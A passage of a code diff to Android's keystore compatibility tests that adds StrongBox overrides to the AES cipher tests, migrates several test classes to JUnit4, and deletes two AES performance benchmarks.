+            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
+    public void testKeyManagement() throws Exception {
+        super.testKeyManagement();
+    }
+
+    @Override
+    protected void runDeviceTestsAsUser(String pkgName, String testClassName, String testName,
+            int userId, Map<String, String> params) throws DeviceNotAvailableException {
+        Map<String, String> newParams = new HashMap(params);
+        Map<String, String> doParams = getParamsForDeviceOwnerTest();
+        CLog.d("runDeviceTestsAsUser(): adding device owner params (%s)", doParams);
+        newParams.putAll(doParams);
+        super.runDeviceTestsAsUser(
+                pkgName, testClassName, testName, userId, newParams);
+    }
+
+    @Override
+    protected void executeDeviceTestMethod(String className, String testName,
+            Map<String, String> params) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId, params);
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES128CBCNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES128CBCNoPaddingCipherTest.java
index e56049c..cbd6a4f 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES128CBCNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES128CBCNoPaddingCipherTest.java
@@ -46,4 +46,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES128CBCPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES128CBCPKCS7PaddingCipherTest.java
index d8254c1..4953fde 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES128CBCPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES128CBCPKCS7PaddingCipherTest.java
@@ -46,4 +46,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES128CTRNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES128CTRNoPaddingCipherTest.java
index 7ffca13..23600f0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES128CTRNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES128CTRNoPaddingCipherTest.java
@@ -22,10 +22,10 @@
     private static final byte[] KAT_IV = HexEncoding.decode("ebfa19b0ebf3d57feabd4c4bd04bea01");
     private static final byte[] KAT_PLAINTEXT = HexEncoding.decode(
             "6d2c07e1fc86f99c6e2a8f6567828b4262a9c23d0f3ed8ab32482283c79796f0adba1bcd3736084996452a"
-            +"917fae98005aebe61f9e91c3");
+                    + "917fae98005aebe61f9e91c3");
     private static final byte[] KAT_CIPHERTEXT = HexEncoding.decode(
             "345deb1d67b95e600e05cad4c32ec381aadb3e2c1ec7e0fb956dc38e6860cf0553535566e1b12fa9f87d29"
-            + "266ca26df427233df035df28");
+                    + "266ca26df427233df035df28");
 
     @Override
     protected byte[] getKatKey() {
@@ -46,4 +46,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES128ECBNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES128ECBNoPaddingCipherTest.java
index 100700c..5ed2ab3 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES128ECBNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES128ECBNoPaddingCipherTest.java
@@ -45,4 +45,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES128ECBPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES128ECBPKCS7PaddingCipherTest.java
index c834ddf..61b7f0b 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES128ECBPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES128ECBPKCS7PaddingCipherTest.java
@@ -45,4 +45,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES128GCMNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES128GCMNoPaddingCipherTest.java
index ed9c2b1..8c180a3 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES128GCMNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES128GCMNoPaddingCipherTest.java
@@ -61,4 +61,7 @@
     protected byte[] getKatCiphertextWhenKatAadPresent() {
         return KAT_CIPHERTEXT_WITH_AAD.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES192CBCNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES192CBCNoPaddingCipherTest.java
index f49c7c3..5af8fba 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES192CBCNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES192CBCNoPaddingCipherTest.java
@@ -47,4 +47,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES192CBCPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES192CBCPKCS7PaddingCipherTest.java
index b17befc..005808b 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES192CBCPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES192CBCPKCS7PaddingCipherTest.java
@@ -46,4 +46,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES192CTRNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES192CTRNoPaddingCipherTest.java
index d4a4143..f2a8d11 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES192CTRNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES192CTRNoPaddingCipherTest.java
@@ -45,4 +45,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES192ECBNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES192ECBNoPaddingCipherTest.java
index 0557d03..bdd6f87 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES192ECBNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES192ECBNoPaddingCipherTest.java
@@ -44,4 +44,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES192ECBPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES192ECBPKCS7PaddingCipherTest.java
index 1cf193c..ad7f9d8 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES192ECBPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES192ECBPKCS7PaddingCipherTest.java
@@ -45,4 +45,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES192GCMNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES192GCMNoPaddingCipherTest.java
index 66b37d3..72844ed 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES192GCMNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES192GCMNoPaddingCipherTest.java
@@ -61,4 +61,7 @@
     protected byte[] getKatCiphertextWhenKatAadPresent() {
         return KAT_CIPHERTEXT_WITH_AAD.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES256CBCNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES256CBCNoPaddingCipherTest.java
index b6620ef..828d61b 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES256CBCNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES256CBCNoPaddingCipherTest.java
@@ -47,4 +47,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES256CBCPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES256CBCPKCS7PaddingCipherTest.java
index 6613463..5785c38 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES256CBCPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES256CBCPKCS7PaddingCipherTest.java
@@ -47,4 +47,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES256CTRNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES256CTRNoPaddingCipherTest.java
index bdcff41..492991f 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES256CTRNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES256CTRNoPaddingCipherTest.java
@@ -45,4 +45,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES256ECBNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES256ECBNoPaddingCipherTest.java
index 847a767..e56d578 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES256ECBNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES256ECBNoPaddingCipherTest.java
@@ -46,4 +46,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES256ECBPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES256ECBPKCS7PaddingCipherTest.java
index 0faffe9..e9324e5 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES256ECBPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES256ECBPKCS7PaddingCipherTest.java
@@ -45,4 +45,7 @@
     protected byte[] getKatCiphertext() {
         return KAT_CIPHERTEXT.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AES256GCMNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/AES256GCMNoPaddingCipherTest.java
index 971e610..2bdfd07 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AES256GCMNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AES256GCMNoPaddingCipherTest.java
@@ -62,4 +62,7 @@
     protected byte[] getKatCiphertextWhenKatAadPresent() {
         return KAT_CIPHERTEXT_WITH_AAD.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AESCBCCipherTestBase.java b/tests/tests/keystore/src/android/keystore/cts/AESCBCCipherTestBase.java
index 8f1aed69..cedb3b4 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AESCBCCipherTestBase.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AESCBCCipherTestBase.java
@@ -22,6 +22,8 @@
 
 import javax.crypto.spec.IvParameterSpec;
 
+import org.junit.Test;
+
 abstract class AESCBCCipherTestBase extends BlockCipherTestBase {
 
     @Override
diff --git a/tests/tests/keystore/src/android/keystore/cts/AESCipherNistCavpKatTest.java b/tests/tests/keystore/src/android/keystore/cts/AESCipherNistCavpKatTest.java
index 1f6ebd7..41c4456 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AESCipherNistCavpKatTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AESCipherNistCavpKatTest.java
@@ -16,9 +16,15 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import java.io.BufferedReader;
 import java.io.ByteArrayInputStream;
@@ -36,98 +42,130 @@
 import javax.crypto.spec.IvParameterSpec;
 import javax.crypto.spec.SecretKeySpec;
 
-public class AESCipherNistCavpKatTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@RunWith(AndroidJUnit4.class)
+public class AESCipherNistCavpKatTest {
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testECBVarKey128() throws Exception {
         runTestsForKatFile("ECBVarKey128.rsp");
     }
 
+    @Test
     public void testECBVarKey192() throws Exception {
         runTestsForKatFile("ECBVarKey192.rsp");
     }
+    @Test
     public void testECBVarKey256() throws Exception {
         runTestsForKatFile("ECBVarKey256.rsp");
     }
 
+    @Test
     public void testECBVarTxt128() throws Exception {
         runTestsForKatFile("ECBVarTxt128.rsp");
     }
 
+    @Test
     public void testECBVarTxt192() throws Exception {
         runTestsForKatFile("ECBVarTxt192.rsp");
     }
 
+    @Test
     public void testECBVarTxt256() throws Exception {
         runTestsForKatFile("ECBVarTxt256.rsp");
     }
 
+    @Test
     public void testECBGFSbox128() throws Exception {
         runTestsForKatFile("ECBGFSbox128.rsp");
     }
 
+    @Test
     public void testECBGFSbox192() throws Exception {
         runTestsForKatFile("ECBGFSbox192.rsp");
     }
 
+    @Test
     public void testECBGFSbox256() throws Exception {
         runTestsForKatFile("ECBGFSbox256.rsp");
     }
 
+    @Test
     public void testECBKeySbox128() throws Exception {
         runTestsForKatFile("ECBKeySbox128.rsp");
     }
 
+    @Test
     public void testECBKeySbox192() throws Exception {
         runTestsForKatFile("ECBKeySbox192.rsp");
     }
 
+    @Test
     public void testECBKeySbox256() throws Exception {
         runTestsForKatFile("ECBKeySbox256.rsp");
     }
 
+    @Test
     public void testCBCVarKey128() throws Exception {
         runTestsForKatFile("CBCVarKey128.rsp");
     }
 
+    @Test
     public void testCBCVarKey192() throws Exception {
         runTestsForKatFile("CBCVarKey192.rsp");
     }
+    @Test
     public void testCBCVarKey256() throws Exception {
         runTestsForKatFile("CBCVarKey256.rsp");
     }
 
+    @Test
     public void testCBCVarTxt128() throws Exception {
         runTestsForKatFile("CBCVarTxt128.rsp");
     }
 
+    @Test
     public void testCBCVarTxt192() throws Exception {
         runTestsForKatFile("CBCVarTxt192.rsp");
     }
 
+    @Test
     public void testCBCVarTxt256() throws Exception {
         runTestsForKatFile("CBCVarTxt256.rsp");
     }
 
+    @Test
     public void testCBCGFSbox128() throws Exception {
         runTestsForKatFile("CBCGFSbox128.rsp");
     }
 
+    @Test
     public void testCBCGFSbox192() throws Exception {
         runTestsForKatFile("CBCGFSbox192.rsp");
     }
 
+    @Test
     public void testCBCGFSbox256() throws Exception {
         runTestsForKatFile("CBCGFSbox256.rsp");
     }
 
+    @Test
     public void testCBCKeySbox128() throws Exception {
         runTestsForKatFile("CBCKeySbox128.rsp");
     }
 
+    @Test
     public void testCBCKeySbox192() throws Exception {
         runTestsForKatFile("CBCKeySbox192.rsp");
     }
 
+    @Test
     public void testCBCKeySbox256() throws Exception {
         runTestsForKatFile("CBCKeySbox256.rsp");
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AESECBCipherTestBase.java b/tests/tests/keystore/src/android/keystore/cts/AESECBCipherTestBase.java
index b2752dc..796527f 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AESECBCipherTestBase.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AESECBCipherTestBase.java
@@ -16,10 +16,14 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.fail;
+
 import java.security.AlgorithmParameters;
 import java.security.spec.AlgorithmParameterSpec;
 import java.security.spec.InvalidParameterSpecException;
 
+import org.junit.Test;
+
 abstract class AESECBCipherTestBase extends BlockCipherTestBase {
 
     @Override
@@ -55,6 +59,7 @@
         return null;
     }
 
+    @Test
     public void testInitRejectsIvParameterSpec() throws Exception {
         assertInitRejectsIvParameterSpec(new byte[getBlockSize()]);
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AESGCMCipherTestBase.java b/tests/tests/keystore/src/android/keystore/cts/AESGCMCipherTestBase.java
index 1c3404a..0c8add9 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AESGCMCipherTestBase.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AESGCMCipherTestBase.java
@@ -16,6 +16,9 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.fail;
+
 import java.nio.ByteBuffer;
 import java.security.AlgorithmParameters;
 import java.security.Key;
@@ -26,6 +29,8 @@
 import javax.crypto.Cipher;
 import javax.crypto.spec.GCMParameterSpec;
 
+import org.junit.Test;
+
 abstract class AESGCMCipherTestBase extends BlockCipherTestBase {
 
     protected abstract byte[] getKatAad();
@@ -62,6 +67,7 @@
         return spec.getIV();
     }
 
+    @Test
     public void testKatEncryptWithAadProvidedInOneGo() throws Exception {
         createCipher();
         assertKatTransformWithAadProvidedInOneGo(
@@ -71,6 +77,7 @@
                 getKatCiphertextWhenKatAadPresent());
     }
 
+    @Test
     public void testKatDecryptWithAadProvidedInOneGo() throws Exception {
         createCipher();
         assertKatTransformWithAadProvidedInOneGo(
@@ -80,6 +87,7 @@
                 getKatPlaintext());
     }
 
+    @Test
     public void testKatEncryptWithAadProvidedInChunks() throws Exception {
         createCipher();
         assertKatTransformWithAadProvidedInChunks(
@@ -114,6 +122,7 @@
                 23);
     }
 
+    @Test
     public void testKatDecryptWithAadProvidedInChunks() throws Exception {
         createCipher();
         assertKatTransformWithAadProvidedInChunks(
@@ -152,15 +161,15 @@
             byte[] aad, byte[] input, byte[] expectedOutput) throws Exception {
         initKat(opmode);
         updateAAD(aad);
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
 
         initKat(opmode);
         updateAAD(aad, 0, aad.length);
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
 
         initKat(opmode);
         updateAAD(ByteBuffer.wrap(aad));
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
     }
 
     private void assertKatTransformWithAadProvidedInChunks(int opmode,
@@ -173,9 +182,10 @@
             updateAAD(aad, aadOffset, chunkSize);
             aadOffset += chunkSize;
         }
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
     }
 
+    @Test
     public void testCiphertextBitflipDetectedWhenDecrypting() throws Exception {
         createCipher();
         Key key = importKey(getKatKey());
@@ -188,6 +198,7 @@
         } catch (AEADBadTagException expected) {}
     }
 
+    @Test
     public void testAadBitflipDetectedWhenDecrypting() throws Exception {
         createCipher();
         Key key = importKey(getKatKey());
@@ -202,6 +213,7 @@
         } catch (AEADBadTagException expected) {}
     }
 
+    @Test
     public void testInitRejectsIvParameterSpec() throws Exception {
         assertInitRejectsIvParameterSpec(getKatIv());
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/AesCipherPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/AesCipherPerformanceTest.java
deleted file mode 100644
index a2598a9..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/AesCipherPerformanceTest.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-import java.security.AlgorithmParameters;
-
-import javax.crypto.Cipher;
-import javax.crypto.SecretKey;
-
-public class AesCipherPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_AES_KEY_SIZES = {128, 256};
-    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
-
-    public void testAES_CBC_NoPadding() throws Exception {
-        testAesCipher("AES/CBC/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testAES_CBC_PKCS7Padding() throws Exception {
-        testAesCipher("AES/CBC/PKCS7Padding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testAES_CTR_NoPadding() throws Exception {
-        testAesCipher("AES/CTR/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testAES_ECB_NoPadding() throws Exception {
-        testAesCipher("AES/ECB/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testAES_ECB_PKCS7Padding() throws Exception {
-        testAesCipher("AES/ECB/PKCS7Padding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testAES_GCM_NoPadding() throws Exception {
-        testAesCipher("AES/GCM/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    private void testAesCipher(String algorithm, int[] keySizes, int[] messageSizes)
-            throws Exception {
-        for (int keySize : keySizes) {
-            KeystoreKeyGenerator androidKeystoreAesGenerator =
-                    new AndroidKeystoreAesKeyGenerator(algorithm, keySize);
-            KeystoreKeyGenerator defaultKeystoreAesGenerator =
-                    new DefaultKeystoreSecretKeyGenerator(algorithm, keySize);
-            for (int messageSize : messageSizes) {
-                measure(
-                        new KeystoreAesEncryptMeasurable(
-                                androidKeystoreAesGenerator, keySize, messageSize),
-                        new KeystoreAesEncryptMeasurable(
-                                defaultKeystoreAesGenerator, keySize, messageSize),
-                        new KeystoreAesDecryptMeasurable(
-                                androidKeystoreAesGenerator, keySize, messageSize),
-                        new KeystoreAesDecryptMeasurable(
-                                defaultKeystoreAesGenerator, keySize, messageSize));
-            }
-        }
-    }
-
-    private class AndroidKeystoreAesKeyGenerator extends AndroidKeystoreKeyGenerator {
-        AndroidKeystoreAesKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getSecretKeyGenerator()
-                    .init(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_ENCRYPT
-                                                    | KeyProperties.PURPOSE_DECRYPT)
-                                    .setBlockModes(TestUtils.getCipherBlockMode(algorithm))
-                                    .setEncryptionPaddings(
-                                            TestUtils.getCipherEncryptionPadding(algorithm))
-                                    .setRandomizedEncryptionRequired(false)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-
-    private class KeystoreAesEncryptMeasurable extends KeystoreMeasurable {
-        private final Cipher mCipher;
-        private SecretKey mKey;
-
-        KeystoreAesEncryptMeasurable(
-                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
-            super(keyGenerator, "encrypt", keySize, messageSize);
-            mCipher = Cipher.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateSecretKey();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mCipher.doFinal(getMessage());
-        }
-    }
-
-    private class KeystoreAesDecryptMeasurable extends KeystoreMeasurable {
-        private final Cipher mCipher;
-        private byte[] mEncryptedMessage;
-        private AlgorithmParameters mParameters;
-        private SecretKey mKey;
-
-        KeystoreAesDecryptMeasurable(
-                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
-            super(keyGenerator, "decrypt", keySize, messageSize);
-            mCipher = Cipher.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateSecretKey();
-            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
-            mEncryptedMessage = mCipher.doFinal(getMessage());
-            mParameters = mCipher.getParameters();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mCipher.init(Cipher.DECRYPT_MODE, mKey, mParameters);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mCipher.doFinal(mEncryptedMessage);
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/AesKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/AesKeyGenPerformanceTest.java
deleted file mode 100644
index abfea06..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/AesKeyGenPerformanceTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-public class AesKeyGenPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_AES_KEY_SIZES = {128, 256};
-
-    public void testAesKeyGen() throws Exception {
-        for (int keySize : SUPPORTED_AES_KEY_SIZES) {
-            measure(
-                    new KeystoreSecretKeyGenMeasurable(
-                            new DefaultKeystoreSecretKeyGenerator("AES", keySize), keySize),
-                    new KeystoreSecretKeyGenMeasurable(
-                            new AndroidKeystoreAesKeyGenerator("AES", keySize), keySize));
-        }
-    }
-
-    private class AndroidKeystoreAesKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreAesKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getSecretKeyGenerator()
-                    .init(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_ENCRYPT
-                                                    | KeyProperties.PURPOSE_DECRYPT)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 9b414ff..7943538 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -16,17 +16,26 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
 import android.content.pm.PackageManager;
+import android.keystore.cts.util.TestUtils;
 import android.security.KeyPairGeneratorSpec;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
 import android.test.suitebuilder.annotation.LargeTest;
 import android.util.Log;
 
-import org.junit.Assert;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
@@ -69,16 +78,24 @@
 import javax.crypto.SecretKey;
 import javax.security.auth.x500.X500Principal;
 
-public class AndroidKeyStoreTest extends AndroidTestCase {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AndroidKeyStoreTest {
     private static final String TAG = AndroidKeyStoreTest.class.getSimpleName();
 
     private KeyStore mKeyStore;
 
-    private static final String TEST_ALIAS_1 = "test1";
+    // Use methods so that we get a different object each time for the different aliases.
+    // This helps flush out any bugs where we might have been using == instead of .equals().
+    private static String getTestAlias1() { return new String("test1"); }
 
-    private static final String TEST_ALIAS_2 = "test2";
+    private static String getTestAlias2() { return new String("test2"); }
 
-    private static final String TEST_ALIAS_3 = "test3";
+    private static String getTestAlias3() { return new String("test3"); }
 
     // The maximum amount of time the "large number of keys" tests will spend on importing keys
     // into key store. This is used as a time box so that lower-power devices don't take too long
@@ -724,10 +741,12 @@
      */
     private static final long SLOP_TIME_MILLIS = 15000L;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    private Context getContext() {
